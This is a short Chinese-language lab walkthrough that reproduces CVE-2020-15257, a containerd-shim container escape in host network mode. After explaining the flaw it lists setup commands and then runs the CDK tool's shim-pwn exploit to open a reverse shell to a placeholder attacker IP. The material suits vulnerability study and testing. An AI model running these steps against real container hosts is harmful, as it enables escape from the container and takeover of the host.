Containerd是一个控制runC的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。
在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由于在网络模式为host的情况下,容器与宿主机共享一套Network namespace ,此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问,刚好在默认情况下,容器内部的进程是以root用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。
漏洞环境准备:
./metarget cnv install cve-2020-15257
使用以下命令启动容器:
sudo docker run -it --net=host --name=15257 ubuntu /bin/bash
在容器内执行命令cat /proc/net/unix|grep -a "containerd-shim"
,查看结果确认是否可看到抽象命名空间Unix域套接字:
在攻击端监听1234端口,然后下载漏洞利用工具CDK,并将其传入容器/tmp目录下:
sudo docker cp cdk_linux_amd64 15257:/tmp
sudo docker exec -it 15257 bash
运行工具,执行反弹shell命令,验证得到一个宿主机的shell:
cd /tmp
./cdk_linux_amd64 run shim-pwn reverse attacker-ip port
注:
关于该漏洞在利用时出现类似以下内容的问题,可以暂时参考issue #74。
rpc error: code = Unknown desc = OCI runtime create failed: exec: "runc": executable file not found in $PATH